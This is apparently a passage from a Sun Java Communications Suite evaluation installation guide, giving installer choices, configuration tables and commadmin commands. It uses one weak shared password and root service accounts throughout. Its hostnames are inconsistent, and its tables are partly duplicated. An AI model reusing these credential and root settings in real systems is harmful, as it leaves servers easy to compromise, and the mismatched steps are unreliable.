Also select the checkbox for multilingual packages if desired.

Click Next to upgrade shared components.

The installer verifies system requirements. When the installer finishes, click Next.

The installer displays the Ready to Upgrade window.

Click Next.

Deselect the registration checkbox then click Install.

The upgrade begins. When the upgrade finishes, the Installation Complete page appears.

Click Close to exit the installer.

Restart the Java Enterprise System installer in graphical mode.

./installer &

Click Next at the Welcome page.

Accept the license.

The Choose to Upgrade window appears.

Select the Install new software radio button then click Next to continue.

Select the following products then click Next to Continue

on mail.abc.beta.com select the following components:
Sun Java System Messaging Server 6.3

Sun Java System Calendar Server 6.3
Sun Java System Message Queue 3.7 UR1

on am.abc.beta.com select the following components:
Sun Java System Communications Express 6.3
Communications Services Delegated Administrator
Sun Java System Web Server 7.0

Sun Java System Access Manager 7.1 (only the required software; no Client SDK)

on ds.abc.beta.com select the following components:

Sun Java System Directory Server Enterprise Edition 6.0 (Core, Control Center, Command-Line Utility)
Sun Java System Directory Preparation Tool 6.4

on all systems select:
All Shared Components

Note

Select the checkbox for multilingual packages if desired.

Some versions of Solaris require that the Java SE SDK be upgraded prior to installation. If you are prompted to upgrade the Java SE SDK, choose the default selection to automatically upgrade the SDK to the version included with the installer. Then click Next to continue.

Click Next to upgrade shared components.

Specify the installation directories.

Locations:

Directory Preparation Tool: /opt/SUNWcomds

Directory Server: /opt/SUNWdsee

Access Manager: /opt (will create /opt/SUNWam)

Web Server: /opt (will create /opt/SUNWwbsvr7)

Web Server Instance: /var/opt/SUNWwbsvr7

Messaging Server: /opt/SUNWmsgsr

Calendar Server: /opt (will create /opt/SUNWics5)

Delegated Administrator: /opt/SUNWcomm

Communications Express: /opt/SUNWuwc

Accept the target directories for each product and click Next.

The installer verifies system requirements, such as memory, disk space, and operating system patches. When done click Next.

Choose Configure Now then click Next.

The installer lists the components that must be configured after installation. This document informs you of the order in which to do so.

Sun Java System Messaging Server 6.3

Sun Java System Calendar Server 6

Sun Java System Delegated Administrator

Sun Java System Communications Express 6

Click Next to configure the remaining components. You configure these components as part of the installation process.

Continue with the following procedures to input the appropriate information for each of these products when prompted by the installer.

Caution

This example uses root and root (or root and other) for System User and System Group. These choices are satisfactory for evaluation deployments but not for production deployments. If you use this document to create a production deployment, use non-root identifiers. Refer to the Sun Java Enterprise System 2006Q4 Installation Guide for UNIX for more information.

To Select Common and Web Server Settings

This installation assumes the use of Sun Java System Web Server. You can choose an alternate web container but that is beyond the scope of this document.

In the Account Preferences Panel, you are asked whether or not you want to use your UserID and Password information for all administrator accounts, or if you want to provide administrator account information for each component.

Choose the All Administrator Accounts option and type admin for the Administrator User ID and adminpass for the Administrator Password then click Next.

The installation script prompts for a series of options. The following table shows how to respond to the Common and Web Server configuration options.

Table 4 Common and Web Server Settings

Option

[Default Value]

Enter:

Common Server Settings

Host Name

am

accept default

DNS Domain Name

abc.beta.com

accept default

Host IP address

172.18.61.126

accept default

System user

root

accept default

System group

root

accept default

Web Server Settings

Type of configuration

[Configure Administration Instance as Server]

accept default

Start servers after system startup

[Unchecked]

accept default

Server Host

am.abc.beta.com

accept default

Admin Server SSL port

8989

accept default

Admin Server HTTP port

8800

accept default

Admin runtime user ID

root

accept default

Web Server Name

am.abc.beta.com

accept default

HTTP port

80

accept default

Web Server runtime UNIX user ID

webservd

webservd (Use root if deploying Portal Server.)

Document root directory

[/var/opt/SUNWwbsvr7/https-am.abc.beta.com/docs]

accept default

To Select Directory Server Settings

The following table shows how to respond to the Directory Server configuration options.

Table 5 Directory Server Settings

Option

[Default Value]

Enter:

Create a Directory Instance?

[Yes]

accept default

Instance Directory

[/var/opt/SUNWdsee/dsins1]

accept default

Directory Instance Port

[389]

accept default

Directory Instance SSL Port

[636]

accept default

Directory Manager DN

[cn=Directory Manager]

accept default

System User

[root]

accept default

System Group

[root] (Use other on Solaris OS 9.)

accept default

Directory Manager Password

[adminpass]

accept default

Suffix

[dc=abc,dc=beta,dc=com]

o=beta.com

To Select Access Manager Settings

The following table shows how to respond to the Access Manager configuration options.

Table 6 Access Manager Settings

Option

[Default Value]

Enter:

Install type

Legacy Mode (version 6.x style)

accept default

Admin User ID

amadmin

accept default

Password

--

adminpass

LDAP User ID

amldapuser

accept default

LDAP Password

--

nadminpass

Password Encryption Key

87dfjkauefjkdafdadf...

accept default

Access Manager Web Container Options

[Sun Java System Web Server]

Choose Sun Java System Web Server

Hostname

[am.abc.beta.com]

accept default

Services Deployment URI

[amserver]

accept default

Common Domain Deployment URI

[amcommon]

accept default

Cookie Domain

[.beta.com]

.beta.com

Password Deployment URI

[ampassword]

accept default

Console Protocol

[HTTP]

accept default

Administration Console

[Deploy new console]

accept default

Console Deployment URI

[amconsole]

accept default

Console Host Name

[am.abc.beta.com]

accept default

Console Port

[80]

accept default

Choose Directory Server

ds.abc.beta.com:389

accept default

Directory Server provisioned with user data?

[No]

accept default

To Install the Software

Click Install when you are satisfied with the Ready to Install list.

Because of the number of components selected, the installation process can be lengthy.

When installation is complete, the Installation Complete page is displayed. Click Close to exit the installer.

To Verify the Installation

Once the installation has completed, start LDAP and verify that it works.

On ds.abc.beta.com, start Directory Server:

cd /opt/SUNWdsee

cd ds6/bin

./dsadm start /var/opt/SUNWdsee/dsins1

On am.abc.beta.com, start Web Server:

cd /var/opt/SUNWwbsvr7/admin-server/bin

./stopserv

./startserv

cd /var/opt/SUNWwbsvr7/https-am..beta.com/bin

./stopserv

./startserv

The Web Server can take a while to start.

Verify that you can log in to the Access Manager console as amadmin. The URL for the Access Manager console is:

http://fully-qualified-hostname:web-server-port/amconsole

In this example, type:

http://am.abc.beta.com/amconsole

Use amadmin and adminpass as the user ID and password.

After verifying that you can log in to the Access Manager console, log out.

Proceed to Configuring Components for instructions on how to configure Communications Suite components.

Uninstalling the Components

After you complete your evaluation, you can use the Java Enterprise System uninstaller to remove the components that you installed. See the Sun Java Enterprise System 5 Installation Guide for UNIX:

http://docs.sun.com/app/docs/doc/819-4891

Configuring Components

This section describes how to configure and start the components that you use in this example deployment.

This section contains the following topics:

Before You Begin
Preparing the Directory and Configuring Messaging Server
Configuring Delegated Administrator and Communications CLI
Configuring Messaging Server
Configuring Calendar Server
Configuring Communications Express
Verifying the Configuration
Creating Additional User Accounts and Groups
Before You Begin

Before you configure the Messaging Server software, you need to create the mailsrv user and disable the sendmail process. The mailsrv user is used in Configuring Messaging Server.

To Create the mailsrv User

Messaging Server requires a mail server user, which must exist before you can finish the installation. You can skip this step, because the group and user are created during the configuration time. However, you might want to create the mailsrv user yourself as shown below. For this installation, use the useradd command to create a user with username mailsrv and group mail. You use this ID in Step d (under Step 2).
Type the following commands to create the user mailsrv with a user ID of 7633, a group ID of mail, and a user home directory of /export/home/mailsrv on mail.abc.beta.com host. (This assumes the /export/home directory already exists.)

groupadd mail

useradd -u 7633 -g mail -d /export/home/mailsrv -m mailsrv

To Disable sendmail

Prior to configuring Messaging Server, use the following to kill the sendmail process and prevent it from starting during bootup.

For Solaris OS 10:

svcadm disable sendmail

Preparing the Directory and Configuring Messaging Server

This section explains how to prepare the Directory Server LDAP schema and configure Messaging Server.

To Apply Schema 2 to Your Directory Tree

Run the comm_dssetup.pl script on ds.abc.beta.com:

cd /opt/SUNWcomds/sbin

/usr/bin/perl comm_dssetup.pl

Type y to continue.

The perl script prompts for a series of options. The following table shows how to respond to the prompts.

Table 7 Values for comm_dssetup.pl Script

Option

[Default Value]

Enter:

Directory Server Root

[/var/opt/SUNWdsee/dsins1]

/var/opt/SUNWdsee/dsins1

Directory Manager DN

[cn=Directory Manager]

accept default

Directory Manager Password

--

adminpass

Use directory server for users/groups

[Yes]

accept default

Users/Groups base suffix

[o=beta.com]

accept default

Schema type?

[2]

accept default

Update the schema files?

[yes]

accept default

Configure new indexes?

[yes]

accept default

Reindex new indexes?

[yes]

accept default

Confirm your choices and type y to continue. The comm_dssetup script proceeds.

When prompted, type y to continue with script.

Continue with the next section after the comm_dssetup script finishes and displays its “Successful Completion” message.

Configuring Delegated Administrator and Communications CLI

This section describes configuring Delegated Administrator console and utility, which provide user management.

To Configure Delegated Administrator

Run the configurator script on am.abc.beta.com:

cd /opt/SUNWcomm/sbin

./config-commda

Click Next in the Welcome window.

Accept the default for the Directory to store User Mgmt data files: [/var/opt/SUNWcomm]

If the directory does not exist, click Create Directory to create the directory.

Install Delegated Administrator Utility, Console, and Server.

The installation script prompts for a series of options. Use the following table to respond to the configuration options:

Table 8 Values for config-commda Script

Option

[Default Value]

Enter:

AM Hostname

[am.abc.beta.com]

accept default

AM Port

[8080]

80

Default Domain

[abc.beta.com]

accept default

Default SSL Port

[443]

accept default

Web Container

[Web Server 6.x]

Web Server 7.x

Install Root Directory (for DA Console)

[/opt/SUNWwbsvr7]

accept default

Instance Root Directory

[/var/opt/SUNWwbsvr7]

accept default

Server Instance Identifier

[am.abc.beta.com]

accept default

Virtual Server Identifier

[am.abc.beta.com]

accept default

Web Server HTTP Port

[80]

accept default

Administration Server Port

[8800]

accept default

Administrator User ID

[admin]

accept default

Administrator Password

--

adminpass

Secure Administration Server Instance?

[Unchecked]

accept default

Default Domain Separator

[@]

accept default

Access Manager Base Directory

[/opt/SUNWam]

accept default

Install Root Directory (for DA Server)

[/opt/SUNWwbsvr7]

accept default

Instance Root Directory

[/var/opt/SUNWwbsvr7]

accept default

Server Instance Identifier

[am.abc.beta.com]

accept default

Virtual Server Identifier

[am.abc.beta.com]

accept default

Web Server HTTP Port

[80]

accept default

Administration Server Port

[8800]

accept default

Administrator User ID

[admin]

accept default

Administrator Password

--

adminpass

Secure Administration Server Instance?

[Unchecked]

accept default

URL of Directory Server

[ldap://ds.abc.beta.com:389]

accept default

Bind As

[cn=Directory Manager]

accept default

Password

--

adminpass

AM Top level admin

[amadmin]

accept default

AM admin password

--

adminpass

Access Manager Internal LDAP Auth Username

amldapuser

accept default

AM Internal LDAP Auth Password for amldapuser

--

nadminpass

Organization DN

[o=abc.beta.com,o=beta.com]

accept default

Top Level Admin for Default Organization

[admin]

accept default

Password

--

adminpass

Load Sample Service Packages

--

Yes (Checked)

Load Sample Organizations

--

Yes (Checked)

Preferred Mailhost for Sample

[mail.abc.beta.com]

accept default

Select Configure Now.

The script begins to run.

When the panel displays “All Tasks Passed,” click Next to continue.

Two warnings appear: one is remind you to restart Web Server; the other is to remind you to enable the mail and calendar services in the domain. The next steps correct these problems.

Click Close to complete the configuration.

Restart Web Server:

cd /var/opt/SUNWwbsvr7/https-am.abc.beta.com/bin

./stopserv

./startserv

Modify the mail and calendar domains, and create users by using the commadmin utility:

/opt/SUNWcomm/bin/commadmin domain modify -D admin -w adminpass -X am.abc.beta.com -n abc.beta.com -p 80 -d abc.beta.com -S mail,cal -H mail.abc.beta.com

/opt/SUNWcomm/bin/commadmin user create -D admin -F Alvin -l alvin -L Ding -n abc.beta.com -p 80 -w adminpass -W demo -X am.abc.beta.com -S mail,cal -E alvin@abc.beta.com -H mail.abc.beta.com

/opt/SUNWcomm/bin/commadmin user create -D admin -F Calendar -l calmaster -L Master -n abc.beta.com -p 80 -w adminpass -W adminpass -X am.abc.beta.com -S mail,cal -E calmaster@abc.beta.com -H mail.abc.beta.com

Create as many users as you need. Steps later in this document show how to add Presence and Instant Messaging services to those users.

Configuring Messaging Server

This section describes configuring Messaging Server, including configuring the Webmail port.

To Configure Messaging Server

Run the Messaging Server configure script on mail.abc.beta.com:

cd /opt/SUNWmsgsr/sbin

./configure

The Configuration Wizard appears. Read the introductory information and proceed by clicking Next.

Verify the following:

Fully qualified host name of Messaging Server, FQHN: [mail.abc.beta.com]

Directory to store config/data files: [/var/opt/SUNWmsgsr]

When prompted, choose to create the new directory.

Install MTA, Message Store, and Webmail Server. There is no need to install the Multiplexor for this deployment.

Name of the mail server Unix user: Unix username [mailsrv]

Unix group: [mail]

The installation script prompts for a series of options. Use the following table to respond to the configuration options:

Table 9 Values for Messaging Server configure Script

Option

[Default Value]

Enter:

User/Group Server LDAP

[ldap://ds.abc.beta.com:389]

accept default

Bind As

[cn=Directory Manager]

accept default

Password

--

adminpass

Postmaster email address

--

alvin@abc.beta.com

Password for Messaging Server accounts

--

adminpass

Default email Domain

[abc.beta.com]

accept default

Organization DN

[o=abc.beta.com,o=beta.com]

accept default

Click Next, then click Configure Now.

You will receive an error about the Webmail port being in use. Click OK to acknowledge this message. The configuration begins. The following step corrects the Webmail port problem.

When the configuration is finished, click Next to continue, then click Close to exit.

Note

You might observe a failure such that not all the messaging configuration tasks have passed. If this is the case, rerun the Messaging Server configuration script by repeating all the steps above. When prompted for the directory to store configuration or data files, use the same directory as before. A popup window will state that this directory already exists. Click Accept Anyway to verify that the same directory will be used.

(Option)Configure the Webmail port:

/opt/SUNWmsgsr/sbin/configutil -o service.http.port -v 8080

Start Messaging Server:

/opt/SUNWmsgsr/sbin/stop-msg

/opt/SUNWmsgsr/sbin/start-msg

Continue with the next section to configure Calendar Server.

Configuring Calendar Server

This section shows you how to run the Calendar Server configuration script and how to verify the Calendar Server configuration.

To Configure Calendar Server

Run the Calendar Server configurator script on mail.abc.beta.com:

cd /opt/SUNWics5/cal/sbin

./csconfigurator.sh

Click Next at the Welcome page.

The installation script prompts for a series of options. Use the following table to respond to the configuration options:

Table 10 Values for Calendar Server csconfigure Script

Option

[Default Value]

Enter:

LDAP Server Host Name

[ds.abc.beta.com}

accept default

LDAP Server Port

[389]

accept default

Directory Manager DN

[cn=Directory Manager]

accept default

Directory Manager Password

--

adminpass

Enable Virtual Domains support

[Checked]

accept default

Virtual Domains setting: Default domain

[abc.beta.com]

accept default

Calendar Administrator Username

[calmaster]

accept default

Calendar Administrator Password

--

adminpass

Calendar Administrator Email address

[calmaster@abc.beta.com]

accept default

Site administrator

[Yes]

accept default

Set up a Front End/Back End deployment

[Unchecked]

accept default

Email Alarms

[Enabled]

accept default

Administrator Email Address

[calmaster@abc.beta.com]

accept default

SMTP Host Name

[mail.abc.beta.com]

accept default

Service Port

[80]

3080

Maximum Sessions

[5000]

accept default

Maximum Threads

[20]

accept default

Number of server processes

[1]

accept default

Runtime User ID

[icsuser]

accept default

Runtime Group ID

[icsgroup]

accept default

Start Calendar Server after Successful Configuration

[Unchecked]

accept default

Start Calendar Serve on System Startup

[Checked]

Unchecked

Configuration Directory

[/etc/opt/SUNWics5/config]

accept default

Database Directory

[/var/opt/SUNWics5/csdb]

accept default

Attachment Store Directory

[/var/opt/SUNWics5/astore]

accept default

Logs Directory

[/var/opt/SUNWics5/logs]

accept default

Temporary Files Directory

[/var/opt/SUNWics5/tmp]

accept default

Enable Archive

[Checked]

accept default

Archive Directory

[/var/opt/SUNWics5/csdb/archive]

accept default

Enable Hot Backup

[Checked]

accept default

Hot Backup Directory

[/var/opt/SUNWics5/csdb/hotbackup]

accept default

Keep archives for (in days)

[Minimum: 3, Maximum: 6]

accept default

Keep hot backups for (in days)

[Minimum: 3, Maximum: 6]

accept default

Same as archive checkbox

[Checked]

accept default

Click the Configure Now button to configure Calendar Server.

The Configuration begins and takes less than two minutes.

Click Next when the configuration is complete.

Click the Details button to verify that all packages configured correctly. Click the Close button to exit the configurator.

Start the Calendar Server daemons:

cd /opt/SUNWics5/cal/sbin

./stop-cal

./start-cal

Continue with the next section to configure Communications Express.

Configuring Communications Express

This section shows you how to run the Communications Express configuration script.

To Configure Communications Express

Run the Communications Express configurator script on am.abc.beta.com:

cd /opt/SUNWuwc/sbin

./config-uwc

Click Next at the Welcome page.

Accept the default for Directory to store configuration and data files: [/var/opt/SUNWuwc]

Choose to create the directory when prompted.

Install the Mail and Calendar Components.

The installation script prompts for a series of options. Use the following table to respond to the configuration options:

Table 11 Values for config-uwc Script

Option

[Default Value]

Enter:

Hostname

[am]

accept default

DNS Domain

[abc.beta.com]

accept default

Web Container

[Web Server]

accept default

Web Server Root Directory

[/opt/SUNWwbsvr7]

accept default

Web Server Config Root Directory

[/var/opt/SUNWwbsvr7]

accept default

Web Server Instance Identifier

[am.abc.beta.com]

accept default

Virtual Server Identifier

[am.abc.beta.com]

accept default

HTTP Port

[80]

accept default

Administration Server Port

[8800]

accept default

Administrator User ID

[admin]

accept default

Administrator Password

--

adminpass

Secure Administration Server Instance

[Unchecked]

accept default

Web Container User ID

[webservd]

accept default

Web Container Group IP

[webservd]

accept default

URI Path

[/uwc]

/mail

Enable Hosted Domain Support

[Unchecked]

Checked (Yes)

URL of Directory Server

[ldap://wireless.comms.beta.com:389/]

ldap://ds.abc.beta.com:389/

Bind DN

[cn=Directory Manager]

accept default

Password

--

adminpass

DC Tree suffix

[o=beta.com]

accept default

Default Domain

[abc.beta.com]

accept default

Enable Access Manager for Single Sign-On

[Unchecked]

accept default (not enabled)

Webmail Server Host Name

[wireless.comms.beta.com]

mail.abc.beta.com

Webmail Server Port Number

--

80

Enable login in secure mode

[Unchecked]

accept default (not secure)

Webmail Server SSL Port Number

--

Leave blank

Webmail Admin User ID

--

admin

Admin Password

--

adminpass

Calendar Server Hostname

[wireless.comms.beta.com]

mail.abc.beta.com

Calendar Server Port

[9004]

3080

Calendar Admin User ID

[calmaster]

accept default

Calendar Administrator User Password

--

adminpass

URL of PAB Directory Server

[ldap://ds.abc.beta.com:389]

accept default

Bind As

[cn=Directory Manager]

accept default

Password

--

adminpass

Click the Configure Now button to configure Communications Express.

After the configuration is finished, click Next to continue.

The system displays a message to restart the Web Server instance.

Click OK.

Click Next to continue.

Click Close to quit the Communications Express configurator script.

Restart Web Server:

cd /var/opt/SUNWwbsvr7/https-am.abc.beta.com/bin

./stopserv

./startserv

Verifying the Configuration

This section describes how to verify the configuration for Communications Express client, Delegated Administrator, and Instant Messenger. You simply verify that you can log in to the various services. After you are satisfied that you can log in, log out.

Enable Communications Express mail (Webmail) on mail.abc.beta.com.

cd /opt/SUNWmsgsr/sbin

./configutil -o local.webmail.sso.uwcenabled -v 1

./stop-msg

./start-msg

In your web browser, open the following URL for the Communications Express client:

http://am.abc.beta.com/mail

Log in as one of the users created earlier.

If you created a user according to the previous steps, type alvin for the user name, and demo for the password.

In your web browser, open the following URL for Delegated Administrator:

http://am.abc.beta.com/da/DA/Login

Log in as user admin. The password is adminpass.

Continue with the next section to configure Access Manager.
Creating Additional User Accounts and Groups

This section describes how to create additional users accounts and groups. Users and groups created in this fashion work with both Communications Services products and Portal Server (if you add Portal Server to this deployment at a later date).

To Create End User Accounts and Groups

The following example shows how to create users using the Delegated Administrator command-line utility and also how to create a group consisting of the users created.

/opt/SUNWcomm/bin/commadmin user create -D admin -F Demo -l demo1 -L One -n abc.beta.com -p 80 -w adminpass -W demo -X am.abc.beta.com -S mail,cal -E demo1@abc.beta.com -H mail.abc.beta.com

/opt/SUNWcomm/bin/commadmin user create -D admin -F Demo -l demo2 -L Two -n abc.beta.com -p 80 -w adminpass -W demo -X am.abc.beta.com -S mail,cal -E demo2@abc.beta.com -H am.abc.beta.com

/opt/SUNWcomm/bin/commadmin group create -D admin -G Demostaff -n abc.beta.com -p 80 -w adminpass -X am.abc.beta.com -S mail -E Demostaff@abc.beta.com -H mail.abc.beta.com -o calmaster -m demo1 -m demo2

Note

Creating groups using the Delegated Administrator command-line interface will guarantee that these groups will be recognized by Access Manager as LDAP groups that can be searched on using Instant Messenger. They can also be used to send email to the entire group.

To Create User Accounts by Using Delegated Administrator Console

An alternative to using the Delegated Administrator command-line utility to create users is to use the Delegated Administrator console. The high-level steps to create users with Delegated Administrator console are the following:

Creating the user

Using Access Manager to add Services to those user accounts (if necessary)

Prior to using Delegated Administrator, check the resource.properties file to make sure users will be created using options consistent with your usage. Because this example uses a hosted domain scenario, you do not need to edit this file to make changes. If you do want to make changes, perform the following steps.

Change directories to /var/opt/SUNWcomm/WEB-INF/classes/sun/comm/cli/server/servlet and edit the resource.properties file on am.abc.beta.com.

The default settings for servicepackage refresh rates are as follows:

servicepackage-ttlhours=5

servicepackage-ttlminutes=0

These settings establish the time between refreshes of service packages. In a demo scenario, service packages do not change very often so there is no need to refresh them every five minutes. Instead, they are refreshed every five hours. This improves Delegated Administrator performance. If you later decide to change the refresh rate, for example, to 20 hours, then make this change:

servicepackage-ttlhours=20

The default setting for calendar ID type is set using the switch-caltype variable as follows:

switch-caltype=hosted

The caltype can either be hosted or legacy. When you set caltype to hosted, users are created as uid@domain rather than uid, when you use Delegated Administrator to create them.

If you make changes to the resource.properties file, restart Web Server:

cd /var/opt/SUNWwbsvr7/https-am.abc.beta.com/bin

./stopserv

./startserv

The first time you use Delegated Administrator console, you must add service packs to the organization that contains your users. In a web browser, open the URL for the Delegated Administrator console and log in as amadmin (password is adminpass):

http://am.abc.beta.com/da/DA/Login

Click the check box next to the comms.beta.com organization, then click the Allocate Service Package button.

The Allocate Service Package window appears. Service packages are organized within a set of three pages.

Click the Single Page button (to the right of the Compare button) to map the three pages into a single page view.

Select the desired service packages.

Choose from among earth, mars, mercury, and venus, because they have mail and calendar services enabled. Each service package has a different mail quota.

Click Next to continue.

Accept the Mail Service defaults, then click Next.

If you chose a service package that contains Calendar, type the Calendar Host wireless.comms.beta.com and Anonymous Login Yes. Then click Next.

Select the quantity of each service pack desired then click Next.

A quantity of 100 is adequate for demo purposes.

Review your choices and click Finish.

The service packages are created.

Once the service packs have been allocated for the domain, you can now add users to the domain. Click the domain link, comms.beta.com.

Click the New button to create a new user account within this domain.

Type a First Name (such as Demo), Last Name (such as Five), Display Name (such as Demo Five), then click Next.

There is no need to type postal information, so click Next.

Select a service pack for this user, for example, earth, then click Next.

Type the email address, for example, demo5@comms.beta.com. Mail Delivery Option should be Local Inbox. Leave the other fields blank.

Click Next.

Choose your calendar preferences and pick your preferred timezone. Then click Next.

Type Login ID and Password. In this example, Login ID is demo5 and password is demo.

Click Next to continue.

Verify the user information then click Finish to create the user account.

Log in to Access Manager as amadmin and verify that the IM and Presence services have been added to the newly created user. If not, assign services to those users as described previously in To Add Services to the Lower Level Organization.

Starting and Stopping Communications Services

This section describes the commands needed to start and stop all the Communications Services.

To Start and Stop Services

You should stop services before attempting to start them.

To stop all services:

Table 12 Commands to Stop Communications Services

Service

Command

Instant Messaging

/opt/SUNWiim/sbin/imadmin stop

Access Manager

/etc/init.d/amserver stop

Web Server

/var/opt/SUNWwbsvr7/https-wireless.comms.beta.com/bin/stopserv

Web Server Administrator

/var/opt/SUNWwbsvr7/admin-server/stopserv

Calendar Server

/opt/SUNWics5/cal/sbin/stop-cal

Messaging Server

/opt/SUNWmsgsr/sbin/stop-msg

Directory Server

/opt/SUNWdsee/ds6/bin/dsadm stop /var/opt/SUNWdsee/dsins1

To start all services:

Table 13 Commands to Start Communications Services

Service

Command

Directory Server

/opt/SUNWdsee/ds6/bin/dsadm start /var/opt/SUNWdsee/dsins1

Messaging Server

/opt/SUNWmsgsr/sbin/start-msg

Calendar Server

/opt/SUNWics5/cal/sbin/start-cal

Web Server Administrator

/var/opt/SUNWwbsvr7/admin-server/startserv

Web Server

/var/opt/SUNWwbsvr7/https-wireless.comms.beta.com/bin/startserv

Access Manager

/etc/init.d/amserver start

Instant Messaging

/opt/SUNWiim/sbin/imadmin start

Accessing Sun Resources Online

The docs.sun.comSM web site enables you to access Sun technical documentation online. You can browse the docs.sun.com archive or search for a specific book title or subject. Books are available as online files in PDF and HTML formats. Both formats are readable by assistive technologies for users with disabilities.

To access the following Sun resources, go to http://www.sun.com:

Downloads of Sun products

Services and solutions

Support (including patches and updates)

Training

Research

Communities (for example, Sun Developer Network)


Note	Unless otherwise indicated, all of the examples and instructions in this document assume that you are logged in as root.

Table 2 Evaluation Host Hardware and Software Requirements
Component	Platform Requirement
CPU	Intel
RAM	2 Gbytes or more
Disk space	2.2 Gbytes or more free disk space for installed software. 2.1 Gbytes additional disk space may be needed for temporary storage of Communications Suite zip files.
Software	Solaris 10 OS. mail, am and ds are seprated zones on a single host.
Users	Provisioned with test users

Table 3 Client Software Requirements
Component	Platform Requirement
Browser	Netscape™ Communication 7.1, Internet Explorer 6.0 sp4+, or Mozilla™ 1.7.12, Firefox 2.0.3


Note	Select the checkbox for multilingual packages if desired.


Caution	This example uses root and root (or root and other) for System User and System Group. These choices are satisfactory for evaluation deployments but not for production deployments. If you use this document to create a production deployment, use non-root identifiers. Refer to the Sun Java Enterprise System 2006Q4 Installation Guide for UNIX for more information.

Table 4 Common and Web Server Settings
Option	[Default Value]	Enter:
Common Server Settings
Host Name	am	accept default
DNS Domain Name	abc.beta.com	accept default
Host IP address	172.18.61.126	accept default
System user	root	accept default
System group	root	accept default
Web Server Settings
Type of configuration	[Configure Administration Instance as Server]	accept default
Start servers after system startup	[Unchecked]	accept default
Server Host	am.abc.beta.com	accept default
Admin Server SSL port	8989	accept default
Admin Server HTTP port	8800	accept default
Admin runtime user ID	root	accept default
Web Server Name	am.abc.beta.com	accept default
HTTP port	80	accept default
Web Server runtime UNIX user ID	webservd	webservd (Use root if deploying Portal Server.)
Document root directory	[/var/opt/SUNWwbsvr7/https-am.abc.beta.com/docs]	accept default

Table 5 Directory Server Settings
Option	[Default Value]	Enter:
Create a Directory Instance?	[Yes]	accept default
Instance Directory	[/var/opt/SUNWdsee/dsins1]	accept default
Directory Instance Port	[389]	accept default
Directory Instance SSL Port	[636]	accept default
Directory Manager DN	[cn=Directory Manager]	accept default
System User	[root]	accept default
System Group	[root] (Use other on Solaris OS 9.)	accept default
Directory Manager Password	[adminpass]	accept default
Suffix	[dc=abc,dc=beta,dc=com]	o=beta.com

Table 6 Access Manager Settings
Option	[Default Value]	Enter:
Install type	Legacy Mode (version 6.x style)	accept default
Admin User ID	amadmin	accept default
Password	--	adminpass
LDAP User ID	amldapuser	accept default
LDAP Password	--	nadminpass
Password Encryption Key	87dfjkauefjkdafdadf...	accept default
Access Manager Web Container Options	[Sun Java System Web Server]	Choose Sun Java System Web Server
Hostname	[am.abc.beta.com]	accept default
Services Deployment URI	[amserver]	accept default
Common Domain Deployment URI	[amcommon]	accept default
Cookie Domain	[.beta.com]	.beta.com
Password Deployment URI	[ampassword]	accept default
Console Protocol	[HTTP]	accept default
Administration Console	[Deploy new console]	accept default
Console Deployment URI	[amconsole]	accept default
Console Host Name	[am.abc.beta.com]	accept default
Console Port	[80]	accept default
Choose Directory Server	ds.abc.beta.com:389	accept default
Directory Server provisioned with user data?	[No]	accept default

Table 7 Values for comm_dssetup.pl Script
Option	[Default Value]	Enter:
Directory Server Root	[/var/opt/SUNWdsee/dsins1]	/var/opt/SUNWdsee/dsins1
Directory Manager DN	[cn=Directory Manager]	accept default
Directory Manager Password	--	adminpass
Use directory server for users/groups	[Yes]	accept default
Users/Groups base suffix	[o=beta.com]	accept default
Schema type?	[2]	accept default
Update the schema files?	[yes]	accept default
Configure new indexes?	[yes]	accept default
Reindex new indexes?	[yes]	accept default

Table 8 Values for config-commda Script
Option	[Default Value]	Enter:
AM Hostname	[am.abc.beta.com]	accept default
AM Port	[8080]	80
Default Domain	[abc.beta.com]	accept default
Default SSL Port	[443]	accept default
Web Container	[Web Server 6.x]	Web Server 7.x
Install Root Directory (for DA Console)	[/opt/SUNWwbsvr7]	accept default
Instance Root Directory	[/var/opt/SUNWwbsvr7]	accept default
Server Instance Identifier	[am.abc.beta.com]	accept default
Virtual Server Identifier	[am.abc.beta.com]	accept default
Web Server HTTP Port	[80]	accept default
Administration Server Port	[8800]	accept default
Administrator User ID	[admin]	accept default
Administrator Password	--	adminpass
Secure Administration Server Instance?	[Unchecked]	accept default
Default Domain Separator	[@]	accept default
Access Manager Base Directory	[/opt/SUNWam]	accept default
Install Root Directory (for DA Server)	[/opt/SUNWwbsvr7]	accept default
Instance Root Directory	[/var/opt/SUNWwbsvr7]	accept default
Server Instance Identifier	[am.abc.beta.com]	accept default
Virtual Server Identifier	[am.abc.beta.com]	accept default
Web Server HTTP Port	[80]	accept default
Administration Server Port	[8800]	accept default
Administrator User ID	[admin]	accept default
Administrator Password	--	adminpass
Secure Administration Server Instance?	[Unchecked]	accept default
URL of Directory Server	[ldap://ds.abc.beta.com:389]	accept default
Bind As	[cn=Directory Manager]	accept default
Password	--	adminpass
AM Top level admin	[amadmin]	accept default
AM admin password	--	adminpass
Access Manager Internal LDAP Auth Username	amldapuser	accept default
AM Internal LDAP Auth Password for amldapuser	--	nadminpass
Organization DN	[o=abc.beta.com,o=beta.com]	accept default
Top Level Admin for Default Organization	[admin]	accept default
Password	--	adminpass
Load Sample Service Packages	--	Yes (Checked)
Load Sample Organizations	--	Yes (Checked)
Preferred Mailhost for Sample	[mail.abc.beta.com]	accept default

Table 9 Values for Messaging Server configure Script
Option	[Default Value]	Enter:
User/Group Server LDAP	[ldap://ds.abc.beta.com:389]	accept default
Bind As	[cn=Directory Manager]	accept default
Password	--	adminpass
Postmaster email address	--	alvin@abc.beta.com
Password for Messaging Server accounts	--	adminpass
Default email Domain	[abc.beta.com]	accept default
Organization DN	[o=abc.beta.com,o=beta.com]	accept default


Note	You might observe a failure such that not all the messaging configuration tasks have passed. If this is the case, rerun the Messaging Server configuration script by repeating all the steps above. When prompted for the directory to store configuration or data files, use the same directory as before. A popup window will state that this directory already exists. Click Accept Anyway to verify that the same directory will be used.

Table 10 Values for Calendar Server csconfigure Script
Option	[Default Value]	Enter:
LDAP Server Host Name	[ds.abc.beta.com}	accept default
LDAP Server Port	[389]	accept default
Directory Manager DN	[cn=Directory Manager]	accept default
Directory Manager Password	--	adminpass
Enable Virtual Domains support	[Checked]	accept default
Virtual Domains setting: Default domain	[abc.beta.com]	accept default
Calendar Administrator Username	[calmaster]	accept default
Calendar Administrator Password	--	adminpass
Calendar Administrator Email address	[calmaster@abc.beta.com]	accept default
Site administrator	[Yes]	accept default
Set up a Front End/Back End deployment	[Unchecked]	accept default
Email Alarms	[Enabled]	accept default
Administrator Email Address	[calmaster@abc.beta.com]	accept default
SMTP Host Name	[mail.abc.beta.com]	accept default
